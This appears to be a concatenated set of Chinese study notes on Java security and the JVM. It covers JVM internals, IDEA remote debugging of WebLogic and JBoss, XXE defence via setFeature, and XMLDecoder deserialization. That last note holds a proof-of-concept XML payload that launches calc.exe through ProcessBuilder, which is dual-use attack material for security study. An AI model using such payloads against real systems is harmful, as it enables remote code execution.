每个方法执行的时候都会创建一个栈帧,这个栈帧中存放着: 26 | 27 | 局部变量表、操作数栈、动态链接、方法出口 28 | 29 | ![](storage_structure/20211014154051.png) 30 | 31 | 32 | 局部变量表(Local Variables Table)是一组变量值的存储空间,用于**存放方法参数和方法内部定义 的局部变量**。局部变量表占用的变量槽数量在编译时就确定了(这个可以从class文件结构窥见),在生成class文件时,每个方法表中都有一个max_locals变量。对于实例方法(非static修饰的方法),局部变量表中的第0个变量是代表该实例对象的引用 33 | 34 | 操作数栈又是一个栈,这个栈是提供给各种字节码命令用的,比如在执行`iadd`命令对两个数进行求和操作前就需要先将iadd的两个操作数压如操作数栈,执行iadd命令时,这两个操作数会自动被弹出栈,iadd执行结束后,会将求和结果压入栈供后续命令使用.. 35 | 36 | 每个栈帧都包含一个指向运行时常量池中该栈帧所属方法的引用,持有这个引用是为了支持方 法调用过程中的动态连接(Dynamic Linking).我们知道Class文件的常量池中存 有大量的符号引用,字节码中的方法调用指令就以常量池里指向方法的符号引用作为参数。这些符号 引用一部分会在类加载阶段或者第一次使用的时候就被转化为直接引用,这种转化被称为静态解析。 另外一部分将在每一次运行期间都转化为直接引用,这部分就称为动态连接 37 | 38 | **问:这里的动态连接,存储的是该方法内所有方法的动态连接吗?还是当前方法的动态连接?** 39 | 40 | 在方法退出之后,都必须返回到最初方法被调用时的位置,程序才能继 续执行,方法返回时可能需要在栈帧中保存一些信息,用来帮助恢复它的上层主调方法的执行状态。 一般来说,方法正常退出时,主调方法的PC计数器的值就可以作为返回地址,栈帧中很可能会保存这 个计数器值。而方法异常退出时,返回地址是要通过异常处理器表来确定的,栈帧中就一般不会保存 这部分信息。 41 | 42 | 方法退出的过程实际上等同于把当前栈帧出栈,因此退出时可能执行的操作有:恢复上层方法的 局部变量表和操作数栈,把返回值(如果有的话)压入调用者栈帧的操作数栈中,调整PC计数器的值 以指向方法调用指令后面的一条指令等 43 | 44 | ### 本地方法栈 45 | 46 | java虚拟机执行本地方法时用到的栈 47 | 48 | ### 程序计数器 49 | 50 | 它可以看作是当前线程所执行的 字节码的行号指示器。在Java虚拟机的概念模型里,字节码解释器工作时就是通过改变这个计数器的值来选取下一条需要执行的字节码指令 51 | 52 | 程序计数器是**线程私有**的,因为程序计数器只有一个,只能指定下一条指令的地址,在多线程条件下,线程切换时,如果全局只有一个程序计数器的话,等到当前线程运行结束,则无法恢复到上一个线程命令执行的位置 53 | 54 | 55 | ### 直接内存 56 | 57 | 并非jvm运行时内存的一部分,他的大小不受jvm内存大小的限制,只受物理内存影响 -------------------------------------------------------------------------------- /5.IDEA调试技巧2——远程调试.md: -------------------------------------------------------------------------------- 1 | ### 0x01 前言 2 | 3 | 本文将结合着远程调试weblogic来讲解如何使用IDEA调试远程应用,大家只要掌握核心科技就行 4 | 5 | 6 | ### 0x02 开启JAVA应用的调试模式 7 | 8 | 一个应用想要被远程调试,必须以调试模式运行,对于jar包,开启调试模式也很简单 9 | 10 | `java -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8000 -jar test.jar ` 11 | 12 | 参数说明: 13 | 14 | -Xdebug:通知JVM工作在DEBUG模式下; 15 | 16 | -Xrunjdwp:通知JVM使用(java debug wire protocol)来运行调试环境; 17 | 18 | transport:监听Socket端口连接方式(也可以dt_shmem共享内存方式,但限于windows机器,并且服务提供端和调试端只能位于同一台机); 19 | 20 | server:=y表示当前是调试服务端,=n表示当前是调试客户端; 21 | 22 | suspend:=n表示启动时不中断(如果启动时中断,一般用于调试启动不了的问题); 23 | 24 | address:=8000表示本地监听8000端口。 25 | 26 | 当然,对于Weblogic这种别人写的大型应用,启动是很复杂的,一般都会有一个启动脚本或者环境配置脚本什么的,要想使这些应用运行在debug模式下,一般都是需要修改对应脚本的,至于到底是修改哪个脚本,我们可以Google一下,当然,如果搜索的结果不靠谱,也是可以自己摸索的,主要就是通过粗略阅读启动脚本,搜索脚本中的debug、port等关键字,然后修改对应的值(只是这么一个思路,具体情况具体分析) 27 | 28 | weblogic就是一个通过脚本启动的应用,且它有一个专门的环境配置脚本,要想让Weblogic运行在debug模式下,就要修改这个脚本 29 | 30 | ![](debug_tricks2/debug.png) 31 | 32 | 如上图所示,由于我Weblogic是以产品模式安装的,所以我把setDomainEnv.cmd对应位置的debugFlag改为了true,然后运行启动脚本,Weblogic就会以调式模式运行。在同文件中还可以找到应用是调试端口是哪一个,当然,weblogic运行时,在控制台也打印出来了,如果你不清楚某个引用的默认调试端口,你甚至可以百度一下~ 33 | 34 | ![](debug_tricks2/debug_port.png) 35 | 36 | ### 0x03 IDEA配置远程调试 37 | 38 | 现在目标应用已经运行在调试模式,且我们也知道其监听的端口了,现在就是需要在IDEA上进行配置了。同样以Weblogic为例 39 | 40 | 1. **用IDEA随便新建一个工程** 41 | 2. **然后IDEA的右上角,配置一下** 42 | ![](debug_tricks2/first.png) 43 | 44 | 3. **创建一个remote server** 45 | ![](debug_tricks2/second.png) 46 | 47 | 48 | 4. **配置remote server** 49 | ![](debug_tricks2/third.png) 50 | 51 | 5. **最后选择在右上角我们刚刚创建的remote server,然后点击这个小虫子** 52 | ![](debug_tricks2/forth.png) 53 | 可以从控制台看到,我们的idea已经成功连接到远端的应用 54 | 55 | 你以为这就结束了吗?并没有,因为要调试的是远程的应用,我们本地原本是没有远程应用的代码的,所以,即使是调试远程的应用,我们本地也要有一份远程应用的代码,没想到吧,死靓仔~ 56 | 57 | 我们下载好了远程应用的代码,然后需要把我们要调试的jar包啥的放到对应项目的lib下。具体操作如下,以weblogic为例,我要把weblogic中的一些关键jar包加到lib中: 58 | 59 | ![](debug_tricks2/1.png) 60 | 61 | ![](debug_tricks2/2.png) 62 | 63 | 然后选择对应的目录就行了,一般就是把包含jar包的目录加进来,添加完过后就可以在IDEA中访问到很多jar包了,并且IDEA会自动反编译这些jar包中的class文件,我们还可以在对应的文件处下断点,然后就可以开始愉快的调试了~ 64 | 65 | ![](debug_tricks2/3.png) 66 | 67 | 68 | ### 其他 69 | 70 | 一直在纠结有没有必要写这一章的内容,毕竟网上有挺多现成的,而且写好了,我不知道把本章内容放在哪个位置才合适,放在系统文章的开头,可能大家一时半会用不到,放在系列文章的中间,我又怕大家在看到这篇文章前就已经自己摸索出了怎么远程调试,那么我的这篇文章不就没用了吗~ 71 | 72 | 算了,为了系列文章的对新手友好,我还是稍微写一下吧 73 | 74 | 75 | 76 | 77 | 78 | -------------------------------------------------------------------------------- /jvm-hotspot虚拟机对象探秘.md: -------------------------------------------------------------------------------- 1 | ### hotspot虚拟机内存实现 2 | 3 | #### 对象的创建(对象的内存分配方式) 4 | 5 | 当Java虚拟机遇到一条字节码new指令时,首先将去检查这个指令的参数是否能在常量池中定位到 一个类的符号引用,并且检查这个符号引用代表的类是否已被加载、解析和初始化过。如果没有,那 必须先执行相应的类加载过程 6 | 7 | 分配内存的方式:指针碰撞、空闲列表 8 | 9 | 10 | ##### 指针碰撞 11 | 12 | 假设java堆中的内存绝对规整,分配的内存放在一边,未分配的放在另一边,那么便可以用一个指针来区分开两块内存区域 13 | 14 | 每次新建对象分配内存时,只需要将指针移动对象大小相等的距离 15 | 16 | ##### 空闲列表 17 | 18 | 如果java堆中的内存不规整,也就是分配的内存和未分配的内存相互交错,那么久不能简单用一个指针来区分它们了,这时候就需要用一张表来记录哪些内存已经使用,哪些未被使用 19 | 20 | 当新建对象时需要到这个表里去寻找一块足够大的内存进行分配,并更新列表 21 | 22 | 而堆中内存师傅规整取决于jvm所采用的的垃圾收集器是否带有空间压缩整理(Compact)的能力决定,带压缩功能的垃圾收集器进行垃圾收集后,会将堆中空间进行规整,所以这时候就可以采用指针碰撞的方式来分配内存 23 | 24 | 上面介绍了两种基本的对象内存分配方式,但是对象的创建不仅仅是简单的分配内存,还有一些后续工作以及注意事项 25 | 26 | 注意事项:对于一个多线程的环境,可能会有多个对象同时创建,虽然之前说了给对象分配内存只需要简单的移动一下指针,但是在并发情况下,两个对象可能会去抢一块内存空间,分配内存时必须保证操作的原子性,hotspot采用了用CAS配上失败 重试的方式保证更新操作的原子性(cas其实是一种乐观锁),另外一种是把内存分配的动作按照线程划分在不同的空间之中进 行,即每个线程在Java堆中预先分配一小块内存,称为本地线程分配缓冲(Thread Local Allocation Buffer,TLAB),哪个线程要分配内存,就在哪个线程的本地缓冲区中分配,只有本地缓冲区用完 了,分配新的缓存区时才需要同步锁定 27 | 28 | 内存分配完过后,还需要对分配到的内存空间初始化为0值(不包括对象头部分),初始化为0是为了保证java对象中的字段在不赋初始值的情况下也可以使用 29 | 30 | 除了对象的数据部分初始化为0之外,还需要对对象本身进行一些数据设置,比如说这个对象属于哪个类,对象的哈希码,对象的GC分代年龄等信息,这些信息都存放在**对象头**中。根据虚拟 机当前运行状态的不同,如是否启用偏向锁等,对象头会有不同的设置方式 31 | 32 | 上面的操作执行完,对于我们程序员来说,这个对象还没真正的初始化,因为我们的构造函数还没有执行,各个字段的值还不是我们想要的样子,所以,接下来虚拟机会执行对象的`()`,对对象的各个字段按照程序员的意图进行初始值设置,这一步完成之后,一个对象就真正的创建出来了 33 | 34 | #### 对象的内存布局 35 | 36 | - 对象头 37 | - 对象实例数据 38 | - 填充 39 | 40 | ![](hotspot/20211011185648.png) 41 | 42 | ##### 对象头 43 | 44 | 存储着这个对象的元信息,如:hash码、gc分代年龄、锁状态标志、线程持有的锁、偏向线程ID、偏向时间戳、以及类型指针(指向该对象对应的类) 45 | 46 | ##### 对象实例数据 47 | 48 | 对象中的字段的值等等 49 | 50 | ##### 对齐填充 51 | 52 | hotspot虚拟器要求对象起始地址必须是8字节的整数倍,如果实例数据部分没有对齐,就需要填充以对齐 53 | 54 | 55 | #### 对象的访问方式 56 | 57 | ##### 句柄访问方式 58 | 59 | 当一个引用引用了某个对象时,这个引用指向了一张表中的某个地址,然后通过这种表找到对象的真实地址以及对象类型地址 60 | 61 | - 查找对象较慢 62 | - 但垃圾收集后,只需要简单修改表中的对象地址 63 | 64 | ![](hotspot/20211011185001.png) 65 | 66 | ##### 直接指针访问方式 67 | 68 | 这次没有中间那张表作路由,引用直接通过指针指向对象真实地址 69 | 70 | - 查找对象快 71 | - 但在有垃圾收集时,需要更改所有引用处指针指向的地址 72 | - 且需要额外的空间存储对象类型地址 73 | 74 | ![](hotspot/20211011185009.png) 75 | 76 | 77 | ### 参考 78 | 79 | https://github.com/pengMaster/BestNote/blob/master/docs/java/%E5%8F%AF%E8%83%BD%E6%98%AF%E6%8A%8AJava%E5%86%85%E5%AD%98%E5%8C%BA%E5%9F%9F%E8%AE%B2%E7%9A%84%E6%9C%80%E6%B8%85%E6%A5%9A%E7%9A%84%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0.md -------------------------------------------------------------------------------- /jvm-字节码指令.md: -------------------------------------------------------------------------------- 1 | ### 加载和存储指令 2 | 3 | - 将一个局部变量加载到操纵栈的指令包括:iload、iload_、lload… 4 | 5 | - 将一个数值从操作数栈存储到局部变量表的指令包括:istore、istore_、lstore… 6 | 7 | ``` 8 | public static int add(int a,int b){ 9 | int c=0; 10 | c=a+b; 11 | return c; 12 | } 13 | ``` 14 | 15 | 对应字节码: 16 | 17 | ``` 18 | 0: iconst_0 //常量0压入操作数栈 19 | 1: istore_2 //弹出操作数栈栈顶元素,保存到局部变量表第2个位置 20 | 2: iload_0 //第0个变量压入操作数栈 21 | 3: iload_1 //第1个变量压入操作数栈 22 | 4: iadd //操作数栈中的前两个int相加,并将结果压入操作数栈顶 23 | 5: istore_2 //弹出操作数栈栈顶元素,保存到局部变量表第2个位置 24 | 6: iload_2 //加载局部变量表的第2个变量到操作数栈顶 25 | 7: ireturn //返回 26 | ``` 27 | 28 | 29 | ### 运算指令 30 | 31 | ·加法指令:iadd、ladd、fadd、dadd ·减法指令:isub、lsub、fsub、dsub 32 | 33 | ### 类型转化指令 34 | 35 | 处理窄化类型转换(Narrowing Numeric Conversion)时,就必须显式地使用转换指 令来完成,这些转换指令包括i2b、i2c、i2s、l2i、f2i、f2l、d2i、d2l和d2f。窄化类型转换可能会导致 转换结果产生不同的正负号、不同的数量级的情况,转换过程很可能会导致数值的精度丢失 36 | 37 | ### 对象创建与访问指令 38 | 39 | 创建类实例的指令:new · 40 | 41 | 创建数组的指令:newarray、anewarray、multianewarray · 42 | 43 | 访问类字段(static字段,或者称为类变量)和实例字段(非static字段,或者称为实例变量)的 指令:getfield、putfield、getstatic、putstatic · 44 | 45 | 把一个数组元素加载到操作数栈的指令:baload、caload、saload、iaload、laload、faload、 daload、aaload 46 | 47 | ·将一个操作数栈的值储存到数组元素中的指令:bastore、castore、sastore、iastore、fastore、 dastore、aastore 48 | 49 | ·取数组长度的指令:arraylength 50 | 51 | ·检查类实例类型的指令:instanceof、checkcast 52 | 53 | 54 | ### 操作数栈管理指令 55 | 56 | 将操作数栈的栈顶一个或两个元素出栈:pop、pop2 57 | 58 | ·复制栈顶一个或两个数值并将复制值或双份的复制值重新压入栈顶:dup、dup2、dup_x1、 dup2_x1、dup_x2、dup2_x2 59 | 60 | ·将栈最顶端的两个数值互换:swap 61 | 62 | 63 | ### 控制转移指令 64 | 65 | ·条件分支:ifeq、iflt、ifle、ifne、ifgt、ifge、ifnull、ifnonnull、if_icmpeq、if_icmpne、if_icmplt、 if_icmpgt、if_icmple、if_icmpge、if_acmpeq和if_acmpne 66 | 67 | ·复合条件分支:tableswitch、lookupswitch 68 | 69 | ·无条件分支:goto、goto_w、jsr、jsr_w、ret 70 | 71 | 72 | ### 方法调用和返回指令 73 | 74 | ·invokevirtual指令:用于调用对象的实例方法,根据对象的实际类型进行分派(虚方法分派), 这也是Java语言中最常见的方法分派方式。 75 | 76 | ·invokeinterface指令:用于调用接口方法,它会在运行时搜索一个实现了这个接口方法的对象,找 出适合的方法进行调用。 77 | 78 | ·invokespecial指令:用于调用一些需要特殊处理的实例方法,包括实例初始化方法、私有方法和 父类方法。 79 | 80 | ·invokestatic指令:用于调用类静态方法(static方法)。 81 | 82 | ·invokedynamic指令:用于在运行时动态解析出调用点限定符所引用的方法。并执行该方法。前面 四条调用指令的分派逻辑都固化在Java虚拟 83 | 84 | 方法调用指令与数据类型无关,而方法返回指令是根据返回值的类型区分的,包括ireturn(当返 回值是boolean、byte、char、short和int类型时使用)、lreturn、freturn、dreturn和areturn,另外还有一 条return指令供声明为void的方法、实例初始化方法、类和接口的类初始化方法使用。 -------------------------------------------------------------------------------- /16.XXE之setFeature防御.md: -------------------------------------------------------------------------------- 1 | ### 0x01 前言 2 | 3 | 这一章只谈JAVA中XXE的防御方法,文章不长,只说重点 4 | 5 | ### 0x02 防御手法 6 | 7 | 我在《XXE之DocumentBuilder》文末蜻蜓点水般提到了XXE的防御方法,这一章,我们详细来说说,由于java中各个xml解析类防御xxe的方法都大同小异,我就那SAXReader来演示吧 8 | 9 | 要想完全防御住xxe攻击,需要设置以下三个属性,如果遗漏了其中一个,应用都是有可能受到XXE攻击的,只是说危害程度不同 10 | 11 | ```java 12 | saxReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); 13 | saxReader.setFeature("http://xml.org/sax/features/external-general-entities", false); 14 | saxReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false); 15 | ``` 16 | 17 | 那么每个特性都是啥意思呢,又有啥用呢,大家可以仔细阅读一下每个特性的名字,可以猜到个大概。 18 | 19 | ##### disallow-doctype-decl 20 | 21 | 看名字,就是不允许文档类型声明(不允许定义Doctype),将这个特性设置为true后,基本可以防御大部分xxe攻击,我们看设置过后的效果 22 | 23 | ![](xxe_patch/doctype.png) 24 | 25 | 直接报错,从报错中可以看到设置了该属性后就不能在xml文件中声明Doctype了,xml文件还是《XXE之DocumentBuilder》中的哪个payload.xml,这里就不列出来了 26 | 27 | 28 | ##### external-general-entities 29 | 30 | 这个特性看名字就是与外部普通实体挂钩的啦。当把这个特性设置为false,xml出现外部普通实体就是不会解析的,为了更好的观察,我们改一下xml文件,改成这样: 31 | 32 | ```xml 33 | 34 | 36 | ]> 37 | 38 | axin 39 | &test; 40 | 41 | ``` 42 | 43 | 然后用python快速搭建一个http server: 44 | 45 | `python -m SimpleHTTPServer` 46 | 47 | 我们看一下当我们把特性external-general-entities设置为false时会是怎样的结果: 48 | 49 | ![](xxe_patch/ext_general.png) 50 | 51 | 可见,果然没有解析外部实体,http server都没有收到任何请求,但是在这种情况下,还是可以使用外部参数实体的 52 | 53 | ##### external-parameter-entities 54 | 55 | 当这个特性设置为false, 将会禁用外部**参数**实体, 而不会禁止普通实体,关于XXE漏洞以及XML文件的基础知识我这里暂且不谈,欲进一步了解移步: https://thief.one/2017/06/20/1/ 56 | 57 | 我们先用普通的外部实体测试一下,可见能够正常解析,如下: 58 | 59 | ![](xxe_patch/ext_para.png) 60 | 61 | 62 | 然后,修改一下xml文件,改用参数实体: 63 | 64 | ```java 65 | 66 | 68 | %test; 69 | ]> 70 | 71 | axin 72 | age 73 | 74 | ``` 75 | 76 | 如果正常解析的话,http server是应该能够收到请求的,但是结果如下: 77 | 78 | ![](xxe_patch/ext_para1.png) 79 | 80 | 可见确实解析不了外部参数实体了... 81 | 82 | ### 其他 83 | 84 | 更详细的防御手册:https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.md 85 | 86 | 虽然,针对不同类的防御方法有些许出入,但是核心不变,所以,你今天掌握了核心科技了吗~ 87 | 88 | **拓展阅读:** 89 | 90 | https://www.leadroyal.cn/?p=562 -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # javasec 2 | 3 | ![GitHub](https://img.shields.io/github/license/Maskhe/javasec) 4 | ![](https://img.shields.io/badge/%E5%85%AC%E4%BC%97%E5%8F%B7-%E4%B8%80%E4%B8%AA%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6%E5%91%98-brightgreen) 5 | 6 | 这是我在学习java安全审计的一些总结,每篇文章可能都不会很长,可能就只是讲一个知识点,但是文章越短,我才越容易坚持下去把这系列文章写完~ 7 | 8 | 本系列文章不求把每个细节都覆盖到,但求把提到的每个知识点用通俗易懂的话阐述出来 9 | 10 | 文章体系规划(待完善): 11 | #### JAVA反射机制 12 | 13 | [java反射机制](1.java反射机制.md) 14 | 15 | #### JAVA动态代理机制 16 | 17 | [java动态代理](java动态代理.md) 18 | 19 | #### JAVA序列化与反序列化机制 20 | 常见的pop gadgets以及一些反序列化漏洞案例 21 | 22 | [java序列化与反序列化](2.java序列化与反序列化.md) 23 | 24 | [apache commons-collections中的反序列化利用链](3.%20apache%20commons-collections中的反序列化.md) 25 | 26 | [Apache Dubbo反序列化漏洞分析](4.Apache%20Dubbo反序列化漏洞分析.md) 27 | 28 | [log4j的反序列化漏洞分析](4.log4j的反序列化.md) 29 | 30 | 31 | 32 | #### IDEA调试技巧 33 | 34 | [IDEA调试技巧1](5.IDEA调试技巧1.md) 35 | 36 | [IDEA调试技巧2——远程调试](5.IDEA调试技巧2——远程调试.md) 37 | 38 | 39 | 40 | #### RMI基础 41 | 42 | [java rmi基础](6.java%20rmi基础.md) 43 | 44 | #### 攻击RMI的方式 45 | 46 | 结合自己写的demo以及真实漏洞案例 47 | 48 | [攻击rmi的方式](7.攻击rmi的方式.md) 49 | 50 | #### JNDI注入 51 | 52 | 几句话讲解原理,再结合几个真实漏洞案例:fastjson、spring的jndi注入案例 53 | 54 | [jndi注入](8.jndi注入.md) 55 | 56 | [fastjson-1.2.24反序列化漏洞](9.fastjson-1.2.24反序列化漏洞.md) 57 | 58 | #### JMX的安全问题 59 | 60 | [jmx安全问题](10.jmx安全问题.md) 61 | 62 | #### XXE 63 | 64 | 几种常见的解析xml的jar包,以及他们的漏洞点,防御手法 65 | 66 | [XXE之DocumentBuilder](14.XXE之DocumentBuilder.md) 67 | 68 | [XXE之XML解析常用库的使用案例](15.XXE之XML解析常用库的使用案例.md) 69 | 70 | [XXE之setFeature防御](16.XXE之setFeature防御.md) 71 | 72 | 73 | 74 | #### JDK中其它的一些反序列化 75 | 76 | [XMLDecoder反序列化](17.XMLDecoder反序列化.md) 77 | 78 | [Weblogic之XMLDecoder反序列化1(CVE-2017-3506)](18.Weblogic之XMLDecoder反序列化1_CVE-2017-3506.md) 79 | 80 | #### JAVA表达式安全问题 81 | 82 | #### SQL注入 83 | 84 | #### JWT安全问题 85 | 86 | #### Spring框架基础知识 87 | 88 | #### Struts2框架基础知识 89 | 90 | #### SSRF 91 | 主要是各种方法,各个jar包 92 | 93 | #### 各大大型应用、类库的漏洞 94 | 95 | weblogic系列、spring系列、fastjson系列、jackson系列、solr、jboss、tomcat、struts2.... 96 | 97 | #### JVM基础 98 | 99 | 此部分内容虽是基础知识,但是对于漏洞挖掘也许并无多大助益,我在写作的过程中也只挑了我关注的内容,像jvm垃圾收集及调优部分内容就被我舍弃了 100 | 101 | [1.Class文件的结构](jvm-Class文件的结构.md) 102 | 103 | [2.类加载机制](jvm-类加载机制.md) 104 | 105 | [3.jvm内存区域](jvm内存区域.md) 106 | 107 | [4.hotspot虚拟机对象探秘](jvm-hotspot虚拟机对象探秘.md) 108 | 109 | [5.字节码指令](字节码指令.md) 110 | 111 | 112 | 113 | 114 | 115 | 116 | ![](wechat.png) 117 | 118 | -------------------------------------------------------------------------------- /5.IDEA调试技巧1.md: -------------------------------------------------------------------------------- 1 | ### 0x01 2 | 3 | 在分析JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)的过程中,遇到了一些小问题,学到了一些新的姿势,在此简单的记录一下。这个反序列化漏洞其实没什么好说的,要知道反序列化漏洞的精髓在于挖掘POP利用链,有了利用链只要找到一个未加过滤的readObject入口就大功告成了,这个漏洞的POP利用链还是现有的commons-collections的利用链,所以没有什么好分析的了。比较值得学习的其实是这个漏洞的挖掘过程,但是如果漏洞作者不透露,我们是很难复盘出的.... 4 | 5 | 6 | ### 0x02 定位漏洞的入口 7 | 8 | 在网上爆出一个反序列化漏洞过后,当我们拿到了poc过后怎么快速定位到漏洞的触发点并着手分析呢?当然,**1.** 最直接的办法的办法就是从poc入手(阅读poc),**2.** 除此之外还可以利用报错,例如这次的反序列化漏洞,复现的步骤就是向`/invoker/readonly`这个路径发送post请求,其中post的body为恶意的序列化数据,在按照如上方式复现过后,页面会返回错误堆栈信息,如下: 9 | 10 | ![](debug_tricks/error.png) 11 | 12 | 从上面就可以直接看到是ReadOnlyAccessFilter这个类很可疑。 13 | 14 | **3.** 上面那种直接把错误返回到页面的情况可能不够普遍,所以,我们还可以观察控制台的错误,一般在复现一个漏洞的时候,我们可能会自己搭环境,这个时候,我们就可以从自己搭建的漏洞环境中的报错信息得到更多的线索,更加详细的错误堆栈情况: 15 | 16 | ![](debug_tricks/error_console.png) 17 | 18 | **4.** 还有一种方式,就是利用idea调试,还是以jboss这次的漏洞为例,前面不是提到了这里利用的POP链是我们已知的吗,那么我们可以在IDEA调试的时候在我们知道熟知的地方(就是该漏洞一定会触发的代码处)下断点,然后发送poc,就会触发我们的断点,在IDEA的这个位置就可以看到堆栈调用情况: 19 | 20 | ![](debug_tricks/idea_debug.png) 21 | 22 | 可见,我们上面的断点是打在了LazyMap的get方法处,LazyMap的利用链我们在之前也已经分析过了,如果存在漏洞,反序列化的时候一定会执行到这里的,所以一定会触发到此处断点,然后就可以在左下角看到在触发get方法前的整个堆栈调用情况,我们也就可以在这里寻找可以的类以及以及函数。 23 | 24 | ps: 如果你不清楚那个jar包有问题,在调试的时候就把所有的jar包都加入到lib中,这样方便看到源码。 25 | 26 | 有时候,当你已经七八分确定就是某个类有问题的时候,你就可以在idea中全局搜索这个类了然后看类的具体实现,以便进一步确认,如果搜不到,说明你还没有把所有的jar包加入到lib下~别忘了,war包里也是有类的~~有些war包里也是有jar包的~~,我这次调试jboss就是被这个给坑了一把,找了半天的类,愣是找不到,最后发现在war包里,所以,把war包也给加到lib下。 27 | 28 | ### 0x03 解决断点触发不了的问题 29 | 30 | 有时候,你明明感觉问题就是出在这个类,而且你觉得漏洞触发后一定会执行到你的断点处,但是在你用idea调试的时候,偏偏就没触发你的断点...这时候你可能会有点怀疑人生,没事,我也会,我在调试jboss的时候也就遇到了这个问题,这次的漏洞点在一个war包中,但是这个war包中的断点愣是不触发。其实只要给class文件配置sources就可以解决这个问题,配置了sources文件过后,把断点打在对应的sources文件处,就可以正确地触发断点了。 31 | 32 | 一些不开源的应用我们可以通过反编译的方式拿到源码,例如下面的httpha-invoker: 33 | 34 | ![](debug_tricks/httpha.png) 35 | 36 | 这其实就是一个war包,里面只有经过编译的class文件,没有java源文件,我们首先通过jd-gui反编译这个war包中的所有class,然后点击左上角的file,在下拉菜单中选择save all sources,就可以把所有反编译的java文件保存到一个压缩包中。 37 | 38 | ![](debug_tricks/jd-gui.png) 39 | 40 | 然后我们回到idea中,把这个压缩包配置为httpha-invoker这个war包的源码文件就行。 41 | 42 | ![](debug_tricks/idea_source.png) 43 | 44 | 直接点击上图箭头指向的那个+号,然后选择刚刚保存的压缩包,添加进来就行。 45 | 46 | ![](debug_tricks/source_debug.png) 47 | 48 | 然后就可以直接到压缩包中的源码里下断点,运行poc的时候,就能够成功触发断点了~这样就确认这里确实是漏洞触发点,并且可以进一步往下分析了。 49 | 50 | 51 | ### 0x04 其他 52 | 53 | 在使用idea过程中还因为不了解idea的一些特性而浪费了很多时间,所以,这里贴一份idea的帮助手册: 54 | 55 | https://www.jetbrains.com/help/idea/2019.1/creating-and-registering-file-types.html?utm_campaign=IU&utm_medium=link&utm_source=product&utm_content=2019.1#create-new-file-type 56 | 57 | 58 | 关于本漏洞的复现参考: 59 | 60 | https://github.com/vulhub/vulhub/tree/master/jboss/CVE-2017-12149 -------------------------------------------------------------------------------- /17.XMLDecoder反序列化.md: -------------------------------------------------------------------------------- 1 | ### 0x01 前言 2 | 3 | 之前我们接触过java比较基础且普遍的一种反序列化,但是在java中反序列化的形式并不是那么单一,今天我要要介绍的就是XMLDecoder这个类的序列化以及反序列化。 4 | 5 | ### 0x02 XMLDecoder介绍 6 | 7 | 这个类是jdk自带的,位置是`java.beans.XMLDecoder` , 这个类的序列化就是将java对象转换成xml文件,反序列化是把特定格式的xml文件转换成java对象。 8 | 9 | 我们还是用一个小demo来熟悉下它的使用方式。 10 | 11 | 创建一个类,类里面有两个方法,一个是序列化操作,一个是反序列化操作 12 | 13 | ```java 14 | import java.beans.XMLDecoder; 15 | import java.beans.XMLEncoder; 16 | import java.io.*; 17 | 18 | public class XMLTest{ 19 | // 序列化对象到文件person.xml 20 | public void xmlEncode() throws FileNotFoundException { 21 | Person person = new Person(); 22 | person.setAge(18); 23 | person.setName("axin"); 24 | XMLEncoder xmlEncoder = new XMLEncoder(new BufferedOutputStream(new FileOutputStream("person.xml"))); 25 | xmlEncoder.writeObject(person); 26 | xmlEncoder.close(); 27 | System.out.println("序列化结束!"); 28 | } 29 | 30 | // 反序列化 31 | public void xmlDecode() throws FileNotFoundException { 32 | XMLDecoder xmlDecoder = new XMLDecoder(new BufferedInputStream(new FileInputStream("person.xml"))); 33 | Person person = (Person)xmlDecoder.readObject(); 34 | xmlDecoder.close(); 35 | person.sayHello(); 36 | System.out.println("反序列化成功!"); 37 | } 38 | 39 | public static void main(String[] args) throws FileNotFoundException { 40 | XMLTest xmlTest = new XMLTest(); 41 | xmlTest.xmlEncode(); 42 | xmlTest.xmlDecode(); 43 | } 44 | } 45 | ``` 46 | 47 | 其中Person类如下: 48 | 49 | ```java 50 | public class Person { 51 | String name = ""; 52 | int age; 53 | 54 | public String getName() { 55 | return name; 56 | } 57 | 58 | public void setName(String name) { 59 | this.name = name; 60 | } 61 | 62 | public int getAge() { 63 | return age; 64 | } 65 | 66 | public void setAge(int age) { 67 | this.age = age; 68 | } 69 | 70 | public void sayHello(){ 71 | System.out.println("Hello, my name is "+name); 72 | } 73 | } 74 | ``` 75 | 76 | 运行XMLTest类,会在当前工程目录下生成一个person.xml文件,并且终端会打印调用sayHello方法的结果 77 | 78 | 79 | 序列化生成的xml文件格式如下: 80 | 81 | ```xml 82 | 83 | 84 | 85 | 86 | 18 87 | 88 | 89 | axin 90 | 91 | 92 | 93 | ``` 94 | 95 | 反序列化上述的xml文件,然后执行sayHello方法 96 | 97 | ![](xmldecoder/console.png) 98 | 99 | ### 0x03 利用方法 100 | 101 | 我们已经得知XMLDecoder常见的序列化与反序列化的方法,那么怎么利用呢? 102 | 103 | 我们可以利用其反序列化机制执行任意对象的任意命令,例如构造如下xml文件: 104 | 105 | ```xml 106 | 107 | 108 | 109 | 110 | calc.exe 111 | 112 | 113 | 114 | 115 | 116 | 117 | ``` 118 | 119 | 上述xml文件如果被反序列化会执行ProcessBuilder的start方法,弹个计算器 120 | 121 | ![](xmldecoder/calc.png) 122 | 123 | ### 其他 124 | 125 | 这一章只是简单的XMLDecoder反序列化的原理,同样的,我还是会找一个案例来帮助大家更清晰的认识该漏洞,当然,换汤不换药,漏洞的发生场景变了,本质是不变的~ 126 | 127 | 下一章,我们就看看weblogic中的XMLDecoder反序列化漏洞吧 128 | 129 | 130 | -------------------------------------------------------------------------------- /1.java反射机制.md: -------------------------------------------------------------------------------- 1 | ### 0x01 基本概念 2 | 3 | Java反射机制是在运行状态时,对于任意一个类,都能够获取到这个类的所有属性和方法,对于任意一个对象,都能够调用它的任意一个方法和属性(包括私有的方法和属性),这种动态获取的信息以及动态调用对象的方法的功能就称为java语言的反射机制。 4 | 5 | java反射机制给漏洞利用提供了很多便利,我们可以在很多java漏洞的exp中看到它的影子,所以,学习java安全是绕不开它的。 6 | 7 | ### 0x02 8 | 9 | 